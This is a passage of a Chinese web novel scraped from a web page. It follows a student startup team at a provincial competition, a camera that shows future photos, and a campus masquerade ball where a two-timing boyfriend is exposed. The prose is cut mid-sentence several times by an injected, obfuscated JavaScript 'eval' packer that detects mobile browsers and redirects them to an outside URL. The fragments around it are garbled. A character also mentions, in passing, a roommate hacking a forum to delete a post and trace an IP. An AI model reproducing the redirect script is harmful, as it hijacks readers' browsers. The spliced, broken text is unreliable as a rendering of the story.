“你该不会——受到贴吧那谣言的影响了吧？” “贴吧？什么谣言？” 樊欣听得一头雾水，突然想到今天下午可可好像还给自己发了条消息，提醒自己去看看G大的贴吧，但当时大伙都跟着郑虔东奔西跑呢，就没顾得上。 不过，根据铁军的反应来看，这事儿还真被郑虔给说中了。樊欣当即拿起手机，想查看一下到底出了什么样的乱子，却被铁军的哀求给打断了： “欣姐，别看了，行么？” “到底怎么了？” 他们这头的动静，直接惊扰了轻捂着耳朵专心背稿的魏万，他也停下来，看着铁军，那双大眼睛里满是困惑。 “嗐！根本没多大事儿，有什么不能看的？等等哈，我来找找看那个帖子还在不在……看来我那帮舍友不太靠谱嘛，这点小事，到现在还没搞定……喏，欣姐你要看吗？” 郑虔直接将自己的手机递给了樊欣，铁军这会儿也放弃了抵抗，将头埋在餐桌上轻轻抽泣起来。 樊欣一边轻轻拍着铁军的背，以示安慰；一边接过了郑虔的手机，查看起所谓的谣言。 这是G大贴吧里的一则校园八卦，看上去热度已过，滑到了某个不起眼的位置上。为了博人眼球，但那标题起得颇为辛辣—— “绿茶女为参赛以身试法，傍上肥腻发明家” 看到这里，樊欣也不由自主地拧起了眉，怒气值不断飙升： “什么鬼？这都谁干的？！” “应……应该是那个洪健，他之前因为我的事，被心理协会给清退了，然后就给我发消息，说……” “说了什么？” 一旁的魏万也忍不住发问。 “他说，一定会让我付出代价的。” “岂有此理？什么叫‘因为你的事被清退’？他自己做了什么心里不清楚么，那不都是他自己活该？还好意思来威胁你……这谣言，真是他……” 樊欣边说边停了下来，也对啊，帖子里配了铁军和郑虔在宾馆楼下的合影，当时樊欣和魏万也在边上，只是拍摄者有意将他们裁掉了。和铁军有过节，又能拍到现场的图片，洪健的嫌疑，确实最大。 “没关系的，我舍友今晚应该就能黑进去，把帖子撤掉。查个造谣者的IP，也是顺手的事。” 郑虔看上去确实没受到太大影响，一边说着，一边不忘往嘴里塞了一块椰香黄金糕。 “老郑，你心态可真好。” 面对樊欣的由衷赞叹，郑虔解释道： “受欺负时，可以先想想对方的出发点。他选在这时候发帖，最大的目的，不过就是干扰我们参赛罢了。虽说我们‘灵犀’是后来被‘捡起来’的项目，但最近领导老call我们，被人盯上，也是难免的。” “但……但学长你是怎么做到的，你都不生气或者难过吗？豆豆他……他遇到霸凌的时候，你那么着急，还亲自上场……” 见铁军又要提到自己和小学生打架的光辉事迹，郑虔赶忙插话： “那不一样。豆豆这个年纪，正是中二又敏感的时期，遇到这种事，他自己很难消化的。而且，那小子在学校里爱显摆，被那小□□盯上，也合情合理。但这帖子讲的事，全是胡编乱造，而且我也看出了造谣者的目的，要为了这事动气，不是着了他们的道嘛？” 原本，铁军在发现这则谣言后，还很担心它会被郑虔看到，没想到对方早就发现了，但并不在意。 “等下回去我把这帖子截个图，明天找唐老师反映下。老郑说得对，接下来的时间，我们要全情投入比赛，别受影响；比完后，再收拾那个造谣者。” 其实，今天胡豆豆这事，对铁军的触动很大。她先前遭霸凌，现在被造谣，第一反应都是逃避，但那孩子， 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没想到，郑虔对于那则谣言并不上心，倒是很在意别人吐槽他胖，怪不得刚和“飞拳帮”打架时那么卖力呢。樊欣听到他的嘀咕，暗自发笑，但唐老师并没注意到他们的情绪变化，而是继续认真地为“灵犀”团队分析应赛技巧。 自从她提过“体道升天”的成绩之后，大家都听得非常投入，誓要用最好的表现超越这支德不配位的队伍。 *** 第二天，大家依旧早早在餐厅碰头，因为昨晚都睡饱了，所以各位的精神状态看起来都很不错，一副斗志满满的样子。 “小魏，你昨晚试讲的时候，效果特别好。一般这种汇报，最怕就是像背书似的，但你的主持功底这时候就起作用了，讲得特别自然，真的很棒。” 唐老师一边喝豆浆，一边鼓励着看起来相对比较紧张的魏万，同时不忘叮嘱郑虔和铁军： “虽然我们已经准备过不少问题了，但万一评委问到一些之前没想到的，也千万别慌，根据实际情况去回答就行，反正你们是在真做，底气够足。” “军儿，你看这里是不是算错了呀？” 樊欣还在翻看“灵犀”的商业计划书，为项目做最后的检查，竟意外发现了铁军的一个小疏忽，见对方慌了神，赶紧补充道： “没事，现在发现也还来得及，等下千万要稳住啊！” 没想到，反而是不用上场的人最紧张，直到将队友们送进了赛场，唐老师和樊欣才算松了口气。 “这么看起来，我们还真像是送孩子上考场的家长啊。我等下再去观摩室吧，先和你一起逛逛Y大，我生娃前，还想考这里的博士来着，后来就给耽搁了。” 唐老师带着樊欣一道往Y大的文化园走去，沿路经过一片盛放的木槿，忍不住驻足观赏。见此情景，樊欣索性提议： “唐老师，要不，我帮您拍个照吧？” 34. 第34章 这次来Y市参加省赛，樊欣特意带上了自己的相机，一来是想找机会给大家拍拍照，二来也想借助这设备的魔力探寻一些未知的秘密。 唐老师听樊欣说要给自己拍照，倒显得有些不好意思起来。 “我都不记得自己有多久没拍过单人照了哎……平时要么是和大家一起拍个活动合影，要么就是给我家乐乐拍照，现在都有点……有点不知该怎么摆pose了。” “没事儿，咋样都行，要不您……您凑到花边试试，我多拍几张给您选选。” 樊欣都没想到，平时风风火火的唐老师，在独自面对镜头时会这般扭捏，便凭借自己的经验对她进行了一番造型指导。 变换了一些姿势后，樊欣发现对方只消安静地站在花丛前，自然地垂着手，那画面就很美好，尽显其温婉知性的气质。 这会儿时间还早，光线也好，樊欣对自己的作品很满意，以至于在和唐老师一道欣赏刚拍的照片时，几乎忘了这台相机是多么的不寻常。 “这张也不错……哇，还有这一张，抓拍得也好精彩！没想到你摄影水平这么高哎，到时候记得传给我哦！” 唐老师鉴赏了一遍以自己为主角的照片之后，满意地转过头，看了眼手表，立即惊呼起来： “糟了！是不是快要轮到我们组了？我得赶紧回观摩室去，那你……你先自己在校园里转转吧，等分数出来后，我第一时间发给你哈。” 唐老师离开后，樊欣竟看到相机里的数字，又增多了一张。 “这次怎么滞后了……难道是因为，刚有其他人在场，它才暂时隐去了这则‘预言’？” 樊欣一边自言自语，一边习惯性地往后翻看，只见多出来的那一张照片——主角仍是唐老师，拍摄环境应该也是在Y大，但彼时的她，身着以红、黑两色为主调的博士学袍，笑靥如花。 同时，樊欣还发现这张照片里不止唐老师一人，她的先生和闺女乐乐也陪伴在她身旁，看起来，唐老师的家人其实都很支持她继续深造。 这张照片显示的时间为五年之后，樊欣索性不走了，直接就近找了处长椅坐下，开始搜索近年来的相关发文。因为这个时空的技术相对滞后，网速不佳，樊欣费了不少功夫，才找到了一则适合唐老师岗位的在职读博招生简章。 她整理了一下措辞，给对方发去了一条消息： “唐老师，您现在还有读博的想法么？我记得之前听导师提起过——您去年还中了个省里的课题，这么擅长搞科研，却把时间、精力都放在我们这些学生身上了。” 同时，樊欣还把自己搜到的招生简章一并发了过去，不一会儿，就收到了唐老师的消息。 “照顾学生，本来就是我的本职工作呀。我还是挺想继续读博的，但除了工作，我还得照顾乐乐，而且我先生的工作也很忙……” “唐老师，我还记得铁军刚加入我们团队那会儿，总是很担心自己停课备赛是不是个正确的决定。她内心很想参赛，但总担心同班的同学会怎样看她，这个决定会不会影响自己和家里人的关系……然后，您对她说了一句话。” 半晌，唐老师都没再回复樊欣的消息，不知是在回忆，还是正专注于当下的比赛。樊欣眼看不便打扰，想起身去校园里转转，却意外接到了林龙的电话。 “现在方便接电话吗？” “方便的，这会儿我正好没事。” 林龙那头的声音很杂，听上去他正在搬运重物，空不出手来发消息，但又急着想与樊欣分享些什么，才会打电话过来。 “那就好，我今天来这边进货，帮你打听了一下那款二手相机的事。” 听到这里，樊欣不由自主挺直了身板，聚精会神起来： “你……你是问到了些什么吗？” “老板说，当初这相机啊，是一个小伙子拿来的样机。但你也知道，现在数码市场，尤其是相机这种物件，基本是品牌机的天下，老板担心这种自主研发的产品没有销路，后续也没再从他那儿进货。” “那他……他有那小伙子的联系方式什么的么？” “我也问过了，说是没留。这老板当时就拒绝他了，没想到对方离开前还是把这样机给留下了。老板还以为过阵子他会回来取，但等了好几个月，都没再见过那小伙子，然后，这相机就被不知情的老板娘顺手卖给我了。” “原来是这样啊，给你添麻烦了哈。” 樊欣有些失望，好不容易找到的线索又断了，她心中的那些问题依旧得不到解答。比如，这相机为何具备了这般神力，它与郑虔的发明是否存在联系？更关键的是，为什么只有她樊欣能看到相机中新增的那些照片？ 难道，是这相机选中了她？ “麻烦啥？是我给你添麻烦了才对，如果你觉着这相机用得不顺手，随时可以找我更换。对了，你们什么时候回来？我……我有话……” 与此同时，樊欣听到了手机的消息提示音，想来应该是唐老师发的，便急于结束手头这通电话，赶忙回复道： “我们比完就回来了，我这边接到消息了，不知道是不是我们团队的分数出来了，我先挂了，回头再联系哈！” 樊欣急急忙忙挂断了电话，划到消息界面，果然被她猜中了，正是唐老师在联系她： “‘灵犀’表现得不错，目前86.8分，暂列小组第一！” 光看分数，樊欣还没什么概念，因为省赛将所有团队分成了8个小组，是否能出线，主要还看各队在组内的排名。“灵犀”的这个成绩，比牛气哄哄的“体道升天”还要高出两分，只是不知后续的排名是否会有变化。 “唐老师，那咱们后头，还有几组没比呀？” “还有6组，等最终结果出来，我马上和你说。还有，你刚提到的那句话，我也记得，我当初和铁军说的是——‘你首先是你自己，然后，才是任何人’。” 这一刻，樊欣意识到：唐老师应该也明白了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“灵犀”众人愉快地讨论着，沉浸于胜利的喜悦中，难以自拔。 “对了，我赶紧把这个结果发到群里，可可他们还等着呢！” 果然，当樊欣将“灵犀”的成绩发到群里时，徐可可激动得连发了几个大哭的表情包，林龙也暂停搬货，给大家点上了奶茶外卖。 樊欣正低头忙着回消息呢，却发现不知从啥时候开始，周遭安静了许多，身旁的伙伴们停止了讨论，正严肃地朝前方瞪着。她疑惑地转过头，看到了一个熟悉的身影——洪健。 见到他，“灵犀”的各位立马进入了一种“战备状态”，生怕这次他刚被自己的团队比下去，就赶着来找茬儿了。但这一回，洪健的状态和之前不太一样，他先是客客气气地向唐老师问了个好，继而转向自己先前并不熟悉的樊欣，开始奉承起来： “这位，就是‘灵犀’的负责人——樊欣学姐吧？之前忙着备赛，我都没来得及过来打声招呼，真是失敬了……但我可早就看出来了，你们这项目，才是真正的‘潜力股’，以后，咱可得多多交流啊！要是有啥需要我帮忙的地方……” “别等以后了，要不，就现在吧！可以拜托你帮我们拍张合照么？” 樊欣不想听洪健继续说废话，还没等对方反应过来，就将自己的相机递了过去。 35. 第35章 洪健本以为自己的谄媚会换来樊欣的几句客套话，没想到她一点不见外，直接提出让自己帮忙拍照。不过，这也不是什么过分的要求，他便照做了。 拍完合影后，樊欣取回相机，淡淡道谢。“灵犀”众人立马拥到她身边，想看看自己在照片里的状态，至于那洪健，无人关心，只得悻悻离去。 “小魏，你这次没闭眼哎，可真难得！” 郑虔最喜欢拿魏万打趣了，但这会儿大家是真的都很开心，因而魏万也一直笑嘻嘻的，接了一句： “唐老师的状态好棒，您笑得好自然呀！” 他们取得了这样的成绩，心情大好，腼腆的铁军也在合影里乐得咧开了嘴，就连查看照片时也没停过。待众人散去，樊欣还沉浸在手中的相机里，久久没回过神来。 “学姐，你没事吧？” 铁军率先发现了她的异常，樊欣赶紧找了个理由，想搪塞过去： “我没事，只是觉得现在的情况，太好了，好得有点不真实……” 实际上，樊欣之所以愣了神，是因为发现了这张合影，与相机之前预测过的场景一模一样。也就是说，这一回，曾莫名新增又自行销毁的“预言照片”，再次在相机中出现了…… *** G大的其他队伍，饭后都回宾馆休息去了，但“灵犀”暂时还走不了，他们要留下参加“四强争霸赛”的彩排。 “早知道就别表现得这么好了，都不能回去午休。” 郑虔这会儿已经躺在了Y大体育馆的观众席上，困倦得几乎睁不开眼。 “学长，没事的，晚上这场只是表演赛，不论什么结果都不会对我们的竞赛积分产生影响。而且，‘四强争霸’没有答辩环节，我们只要上台站在小魏身边就好。” 铁军的话让郑虔的怨气更重了，他翻了个身，懒洋洋地嘀咕了一句： “那就更应该放我回去睡个午觉啊，何必这样折腾我们……” 然而，最受折腾的这位，目前都没功夫参与他们的闲聊——魏万还在背稿，虽然暂时没了竞赛的压力，但要在成百上千观众面前汇报项目，对他而言，压力还是挺大的。 因而，唐老师和樊欣都在帮他对稿子、调状态、抠细节，只可惜，到了上台的那一刻，不知魏万是不是太紧张了，他竟直接将项目的营销额给讲错了，数据的小数点报少了一位，“灵犀”无缘本次四强名额。 下台后，“灵犀”的成员们会和，继续和G大的其他团队坐在一起看节目，Y大还为本届大赛准备了不少歌舞表演，现场的气氛颇为热闹。 “都怪我，总是关键时刻掉链子，拖累了我们的项目。” “你知道就好啊，不过这所谓的‘四强’，不过是个虚名，无所谓的。” 听了郑虔的话，魏万看起来更沮丧了，耷拉着个脑袋都不愿抬起头，还是樊欣赶紧来打圆场： “老郑你就别逗人家啦！小魏你真的别多想，这次我们能出线，你功劳也很大，真的很棒。” “是啊，欣姐你没看到我们比赛的现场，小魏发挥得特别好，表演赛上讲错一点数据，没什么影响的。” “就是，小魏你对自己要求太高了，别给自己太大压力啊。” 就在铁军和唐老师轮番安慰魏万这会儿，樊欣很想举起相机朝着他来上一张，看看这小伙子过去有啥样的故事，以后又会有怎样的发展，但又担心自己的举动有点唐突，反而会刺激到对方。 就在她反复犹豫这会儿，手机的消息提示音再次响起，是薛蕾发来的： “欣子，恭喜啊！你们真是太棒了……大概什么时候回来呀？” 这家伙，不是早就从可可那里听到了消息，还在宿舍群里祝贺过“灵犀”了嘛，为什么现在会单独联系自己呢？樊欣有些不解，便想着干脆逗逗薛蕾： “颁奖典礼融在今天这场晚会里了，我们明天应该再参加一场会议就能往回赶了。咋啦？才这么几天不见，你就开始思念我和军儿了？” “那肯定啊……对了，过几天G大要办化装舞会，我帮你们都报名了哈！” “等等，蕾姐，什么……什么舞会？报啥名？” *** “我不会跳舞。” “我也不会，而且我还不会化妆，更不会变装。” “她问过我们意见了嘛？就报名？！” 郑虔、魏万和林龙，在接到“被报名”的通知后，纷纷表示抗议。为此，樊欣还专门建了一个以“舞会”命名的小群，邀请薛蕾亲自下场，做解释工作。 到底是经验老道的学生会干部，她三言两语就说服了群内的大家，就连“宁折不弯”、在群里表示自己会抗争到底的林龙，也不知私下被薛蕾以怎样的理由给攻破了。 眼见这看似荒诞的任务已成定局，樊欣便也不再挣扎，甚至开始规划起舞会当天的扮相来。 她这样不擅社交的i人，又不会跳舞，就适合躲在角落里当个“壁花小姐”。既然想好了要去当背景板，樊欣便不愿再在妆造上花费太多精力。 当天，她从自己的衣服堆里翻出了一件哈利波特同款巫师袍，用夹板烫了个小卷发，就当是cos剧中的魔法师“赫敏”了。原本，还想着要不要用一次性染料将卷发抹成棕色，但纠结了一下，还是选择一切从简。 樊欣本以为自己这样的造型已经够敷衍了，看到可可后，顿觉安心： “你这是啥造型？戴个猫耳朵发箍……就解决啦？” “我这是在致敬‘猫女’——‘蝙蝠侠’系列中亦正亦邪的高人气角色，看我这黑色小皮衣，还有这黑色小猫耳朵，搭配得不好吗？” 徐可可还没等到樊欣回答，所有注意力就都被突然出现的铁军给吸走了： “军儿你这……这也太专业了吧！” 此时的铁军，戴着一顶浅蓝色假发，因为妆容精致，配上暗红色美瞳也不显突兀。短发造型的她，看着很利落，加上一身颇具未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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樊欣还没来及对这哥俩的服装进行评价，就听郑虔在那火急火燎地催着： “时间差不多了，咱先过去吧，可别迟到了啊！” G大的化装舞会办在校园内的音乐厅里，“灵犀”的各位伙伴之前没什么机会来这儿，所以找了好一阵才到。 临到楼下，大家反而开始扭捏起来，迟迟不敢踏进场地，直到薛蕾下楼来找他们，才发现这几位当初说着不愿参加舞会的朋友，竟如此重视这场活动： “你们这……这是特意费心打扮了一下哪？” 薛蕾面露惊喜，只是，她的服装看起来和平日里没什么差别——今天的她，依旧穿着那身曾被江涛夸过的淡蓝碎花长裙，手头还拿着几款造型各异的半脸面具。 “灵犀”的各位，都意识到了不对劲，樊欣忍不住作为代表，道出了内心的疑惑： “蕾姐，你之前不是说，这是‘化装舞会’嘛？” 36. 第36章 “没错呀，就是‘化装舞会’……等等，你们该不会理解成那种，像是万圣节变装的那种舞会了吧？” 谁说，不是呢？ 原来，G大所谓的“化装舞会”，并不需要参与者装扮得多复杂，只消在指定位置领取主办方准备的面具即可。这样的活动，本就是为了促进各个学院之间的交流，相对比较随意。 听到薛蕾的话，樊欣和可可当即心领神会——前者脱去巫师袍款式的风衣外套，里头是一件日常随性的牛仔连衣裙；后者取下猫耳发箍，再换下外套，看起来也就不违和了。 剩下的几位，相对有点难办。铁军顺势借下了可可学姐的外套，再去洗手间褪去假发之后，除了猩红的眼珠子有一点奇特，其他倒也还好。 这下可就苦了郑虔和魏万了，他们除了摘下颜色鲜艳的帽子和那副手绘胡子之外，来不及再改变些什么了。事到如今，郑虔也不挣扎了，从薛蕾那儿挑了个面具戴上，气定神闲地劝起了自己的小兄弟： “没事儿，反正有这玩意儿挡着脸，没人认得出咱们。” 说罢，郑虔打头阵，率领“灵犀”众人一道踏入了化装舞会现场。 *** “可可姐，咱之前这是……错过了多少呀？” 今天的音乐厅，布置得颇具氛围感，就像樊欣在美剧中看到的那种高档酒会一般：青春洋溢的大学生们穿着自己喜欢的服装，戴着神秘的面具，有些在舞池中轻轻摆动身姿；有些举着香槟或饮料愉快交谈；或是三五好友聚在雅座中小憩…… 舞台上有歌手在钢琴的伴奏下吟唱，更为这场舞会增添了几分雅致。 “你才研二呢，也没错过啥……欣子，那儿有个空位，我们一起过去吧。” 虽说现场的氛围叫人心情愉悦，但到了这样的场合之后，樊欣总会显得有点不知所措。就连平日里相当社牛的可可，这会儿也显得有些拘谨。 倒是那郑虔，有了面具的加持，更是无拘无束，跑去茶歇处取了不少好吃的，回来和大伙儿一起分享，魏万则忠诚地跟在他身后，两人红绿搭配的造型，也吸引了不少目光。 樊欣百无聊赖，一开始还抱怨薛蕾咋没早点带他们来参加这样的活动，没过多久，反而开始疑惑——她干啥要喊自己来参加这样的舞会，对她来说有点受罪。 樊欣正吃着樱桃番茄呢，就见到有个颇具二次元气质的男生走到他们桌边，抬手向铁军发起了邀请： “同学，你刚入场时，我就注意到你那双Coser特有的眼睛了，能否赏光和我跳支舞？” 铁军仍是害羞的，众人现在无法看到她那受宠若惊的表情，但她犹豫地朝门口看了几眼，似乎是等待某人无果后，还是点头答应了那位男生的邀约，和他一起步入了舞池。 “他好像是我们学校动漫社的社长吧，听声音有点熟悉。早知道这样，军儿刚才都不用摘掉那假发……对了，小蕾你不是说大龙也答应了要过来吗？怎么没见着他呀？” 听到可可的问题，薛蕾才从愣神状态中恢复过来，答道： “我哥说他稍微晚点来，没事的，不影响，我们先玩会儿。” 作为外院学生会主席，薛蕾在G大有一定的知名度，尽管戴着面具，现场还是有不少人认出了她，并前来邀请她跳舞，但今天的薛蕾似乎不在状态，连连摆手拒绝，隔着面具都能看出她一副心事重重的样子。 樊欣看出薛蕾有点不对劲，正想着怎么开口问她才合适，却见不远处有个熟悉的身影……好像正朝自己的方向走来。 尽管对方也戴着面具，但樊欣一眼就能从他的身型以及《灌篮高手》里藤真那样的棕色短发看出——那是李浩凡。毕竟，自己在穿越来这儿之前，与另一个版本的他相处了好几年，对他的样貌和心思都太熟悉了。 以他目前的行动趋势来看，李浩凡也认出了自己，并且想要穿过人群，上前邀请她步入舞池。 然而，见对方这样，樊欣的第一反应，竟是想赶紧躲开。只是他们当下所在的这处雅座，位于音乐厅的角落里，附近还围了一簇簇围在一起聊天的男男女女，逃起来不是很方便。 那就找个理由，说自己突感身体不适，比如刚才不慎崴了脚……樊欣也不知道自己见到李浩凡时，为什么会是这样的反应。曾经，在他提出分手之后，她很想再见对方一面，当面问问他为什么……为什么要对自己这样残忍。 时过境迁，当下的她经历了车祸和这场莫名的重生之后，便不想再走过去的老路，只想远离曾伤害过自己的人。 就在樊欣努力让自己冷静下来，以便从容应对李浩凡的邀请之时，林龙不知从哪里冒了出来。今天的他，穿得也比较随意，运动款白背心外头罩了件牛仔外套，意外和樊欣的装扮很搭。 林龙的头上汗涔涔的，近看才发现他好像是喷了定型啫喱，身上也散发着淡淡的古龙香水的味道。看来，他是忙完了当日的工作后，特意回去洗漱并精心拾掇了一番，所以才迟到了。 但是，来得早不如来得巧，他出现的时机刚刚好，既能帮助樊欣缓解尴尬，又给自己创造了机会。 “咱俩今天都穿了牛仔服，这么有默契，不如一起跳支舞啊？” 要放在过去，樊欣说不定会有些犹豫，因为她既社恐又不会跳舞，参加集体活动时就想安静地缩在角落里，当个背景板就好。 可当下的局面，由不得她顾虑太多，眼见李浩凡越靠越近，樊欣便将李龙当成了自己的“救命稻草”，顺势牵住了他朝自己伸来的手，借力起身，挽着对方进入了舞池之中。 那一刻，樊欣看到李浩凡定在了原地，尴尬地盯着她和林龙的方向。不知为何，她的内心涌起了一阵相当复杂的情绪：愧疚、解气、唏嘘、纠结……但她认为这样做，对彼此都好。 正是因为当时樊欣的注意力都放在了李浩凡身上，才没能注意到林龙的激动和紧张，他小心翼翼地一手牵着樊欣， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一旁的魏万则忠诚地陪在薛蕾身侧，他俩看上去就像是卡通片里的公主，以及她那身着奇装异服的小侍卫。此时的薛蕾，紧紧盯着舞池里的某个方向，想来是已经发现江涛他们了。 “小魏，要不陪我跳支舞？” “我……我么？” 魏万指了指自己，声音里满是不可置信。 “对啊，你要是不愿意的话……哥，你陪我跳一支？” “愿意啊，我愿意。” 平时有点唯唯诺诺的魏万，这会儿倒果断起来了，没等林龙答复薛蕾，就赶紧抢过了话，欢欢喜喜又战战兢兢地和女神一起踱进了舞池。 樊欣将这一切看在眼里，不知薛蕾想要做什么，只能悄悄跑到可可耳畔求助： “学姐，我刚好像看到，那个江涛他……他也来了。” 没想到，这一刻的徐可可却显得相当淡定，平静地回了她一句： “我知道。” 37. 第37章 “你知道……你知道什么？” 樊欣看看张岚他们，再看看可可，一时搞不清现在到底是什么情况。 另一头，舞池中的江涛更是一头雾水、满背的冷汗。 当初，在张岚主动提出要自己陪她来参加化装舞会时，江涛的内心是拒绝的，因为他猜想薛蕾也会选自己当舞伴……要是这两个女人碰了面，对自己来说，不相当于自投罗网、甚至自寻死路嘛…… 但在拒绝张岚之前，江涛还抱着一丝侥幸心理，找薛蕾探了探口风： “小蕾，咱学校今年的化装舞会，你肯定要参加的吧？” “哎，最近我要帮辅导员一起组织运动会的事儿呢，舞会怕是没时间去了，真的好可惜啊……本来我都想好了，要穿那条你最喜欢的蓝色裙子，和你一起去跳舞的。” 江涛听到这儿，内心已然生出一种“天助我也”的窃喜来，便故作惋惜地说： “没关系，明年应该还有机会的，而且我们在一起的日子，还长着呢。” 转头，他就找到江岚，说自己可以和她一起去参加舞会。尽管薛蕾常在各类活动中抛头露面，但江涛平时不太乐意陪着她，因而旁人多是听说薛主席已然名花有主，却对她的男友并不熟悉，加之舞会是要戴面具的，江涛便觉高枕无忧了。 没想到，他还是在这里见到了薛蕾，而且她还穿着那身自己颇为中意的蓝色长裙。 来不及上前打声招呼，江涛已经被张岚带入了舞池之中，馨香的氛围与叫人迷醉的灯光交织在一起，显得非常浪漫，可他的内心却无比焦灼。 尤其是舞到薛蕾身旁时，他实在按捺不住心头的困惑，探过身问了一句： “你怎么来啦？不是要忙运动会的事么……” 可惜还没等对方回答，张岚一个转身，将他拽到了别处，真没想到这个看上去柔柔弱弱的小姑娘，竟这般有力气： “涛哥哥，你刚和谁说话呢啊？跳舞的时候，不该专心一点么？” “就……就是遇到了一个同学，正好有点事要问她，你可别多想啊！” 江涛一边说着，一边忍不住斜眼观察薛蕾那头的情况，眼见那个穿着草绿色上衣配背带裤的“豆芽菜”揽着女友的腰，他妒火中烧，却又不好发作。 不多会儿，薛蕾舞着舞着，再次转到了江涛身后，故作娇媚地同他耳语了一番： “人家这不是想着给你个惊喜嘛？我特意把手头的其他工作都放下了，在这儿等了你半天，见你进了舞池，我才跟来的。” “但……但你怎么知道我今天会来……” “那天我说自己有事来不了，但你可没表态说自己不会过来呀？和你一起来的舞伴，该不会是你的那个妹妹吧？” “对，就是她，但和你一起的这位……” 江涛恶狠狠地瞪着在舞池里手忙脚乱的魏万，但后者此时的心思都集中在脚步上，只怕自己一个不小心又踩到了薛蕾，全然没心思参与到这场眼神战中。 “涛哥哥，你今天怎么总是心不在焉的呀？要是真有事要和人商量，可以等我们跳完这支舞以后，再坐下来好好谈呀！” 在江涛的印象中，张岚相当善解人意，不知为何今天会表现得这般痴缠。这头，他还没来得及安抚好自己的岚妹妹，那边薛蕾又开始不依不饶起来： “话说，你什么时候对跳舞这么感兴趣了？以往我找你参加这种活动，你都避之不及的哎，今年不但主动问起了我，还在以为我不会到场的情况下，自己就来了，这么有雅兴啊？” “我这不……不是为了好好练习一下，为了以后参加这类活动的时候，好跟上你的脚步嘛……” “涛哥哥你说什么‘脚步’呢？哎哟，你踩我脚啦！” “不好意思！你没事吧？” 此时的江涛，只觉这舞池中的考验，比考研、做实验那些都要难多了，他无法做到“左右逢源”，瞻了前便顾不了后，只觉焦头烂额。 既要照顾张岚的情绪，还需不失时机与薛蕾聊上几句，力不从心之下，江涛都有点思维错乱了，甚至对着张岚说： “小蕾宝贝，你听我解释，其实我本来也不打算来参加什么化装舞会的。” “涛哥哥，你在说什么啊？什么‘小蕾宝贝’？” 江涛晃了晃晕乎乎的脑袋，狠狠闭了下眼，闻声睁开后，只见面前是张岚稍显愠怒的面孔，连忙语无伦次地解释起来： “我……我有点累了，你应该也累了吧，都出现‘幻听’了……” 他本想尽快停下，可惜张岚不情不愿，称自己还未尽兴，让江涛再陪自己跳会儿。想到万一停下，自己更不好同时面对眼前的两个女友，他便只恨自己不能立马变身为陀螺，在舞池中转到油尽灯枯…… “下一支舞，你该陪我跳了吧？” “岚岚，我这会儿有点累了，等下应该也跳不动了。” “岚岚？江涛你什么情况？” 这会儿的江涛，已经有点迷糊了，虽说慢舞的强度偏小，可他心神消耗很大，只觉自己就快虚脱了，甚至在和薛蕾交谈时都将对方喊成了张岚。 “我真的累了，先不跳了。” 累极了的江涛不愿再假扮老好人，直接甩掉张岚的手，径直找了处无人的座位坐下休息去了。见他这样，张岚也不恼，而是找到可可他们的雅座，融进了“灵犀”的团队中。 “岚岚，跳得不错呀！” 可可的称赞听起来并不特别，却叫樊欣惊掉了下巴——现在，是说这种话的时候吗？这张岚，与江涛的关系已经被摆到了明面上，但可可不但能自如地与之交谈，还这般自然地夸起了对方。 雅座中的林龙对张岚并无太大敌意，他只是密切地注视着舞池中的表妹，以及另一头的江涛。 薛蕾眼看着江涛离开，一开始还有追他而去的趋势，但不知是想到了什么，并未付诸行动。不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233193|134783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久后，歌声放缓，舞池中也将随之换成另一批人。 原来，这两对男女不过在其中舞了一首歌的时间，却令江涛感到像是经历了一个世纪。但他还没来得及好好休息一下，就听见有道熟悉的声音传来，只不过，这一次，声音的源头不在附近，而是来自舞台。 “下一首歌，由我为大家带来——《开始懂了》，希望今天在场的各位，都能收获一份好心情，也能懂得什么是值得珍惜的，什么，是该被放下的……” 舞台上站着的，正是薛蕾，她唱歌很好听，只是今天的这一首，却能让人听出不一样的凄婉，与决绝。 “我竟然没有调头，最残忍那一刻。静静看你走，一点都不像我……” 薛蕾的这一举动，也出乎樊欣的预料，不知她究竟想干什么，但这歌声确实叫人沉醉，尤其当她唱到那句“原来人会变得温柔，是透彻地懂了”，如泣如诉，使樊欣的眼眶都有些泛红。 透过愈发模糊的视线，樊欣竟看到张岚也从雅座中起身，慢慢走向了舞台…… 她要干什么？ 樊欣担心张岚会对薛蕾不利，下意识想上前阻止，却被徐可可给拦下了，她只是用手挡着，摇了摇头，视线始终向着舞台那方，并没有说些什么。 与此同时，张岚也已抵达舞台，叫人没想到的是——她直接从舞台附近找了一支话筒，加入了薛蕾的表演： “用心酸微笑去原谅了，也翻越了……” 有那么一刻，薛蕾看上去也有点意外，她直接停了下来，扭头看向对方。当时，台下的众人都无法看到她的眼神，也不知里头会写上怎样的情绪。但很快，她又恢复了状态，开始和张岚一起合唱起来： “有昨天还是好的，但明天是自己的，开始懂了……” 一曲唱完，薛蕾爽朗地朝着台下大声说了一句： “今天，我想把这首歌，献给我的男朋友——江涛！” 